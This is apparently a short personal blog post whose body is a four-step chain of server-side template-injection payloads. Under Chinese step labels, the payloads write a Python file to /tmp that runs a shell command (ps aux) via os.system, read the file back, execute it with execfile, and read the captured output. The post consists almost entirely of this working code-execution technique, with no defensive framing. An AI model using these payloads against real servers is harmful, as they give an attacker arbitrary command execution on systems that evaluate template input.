jianfen's blog

Information is beautiful

写test.py: {{open('/tmp/test.py','w').write('import os;os.system("ps aux > /tmp/output")')}}

读取test.py核对:
{{open('/tmp/test.py').read()}}

执行test.py:
{{execfile('/tmp/test.py')}}

读取output:
{{open('/tmp/output').read()}}


添加新评论 »

在这里输入你的评论...

勿忘初心,方得始终.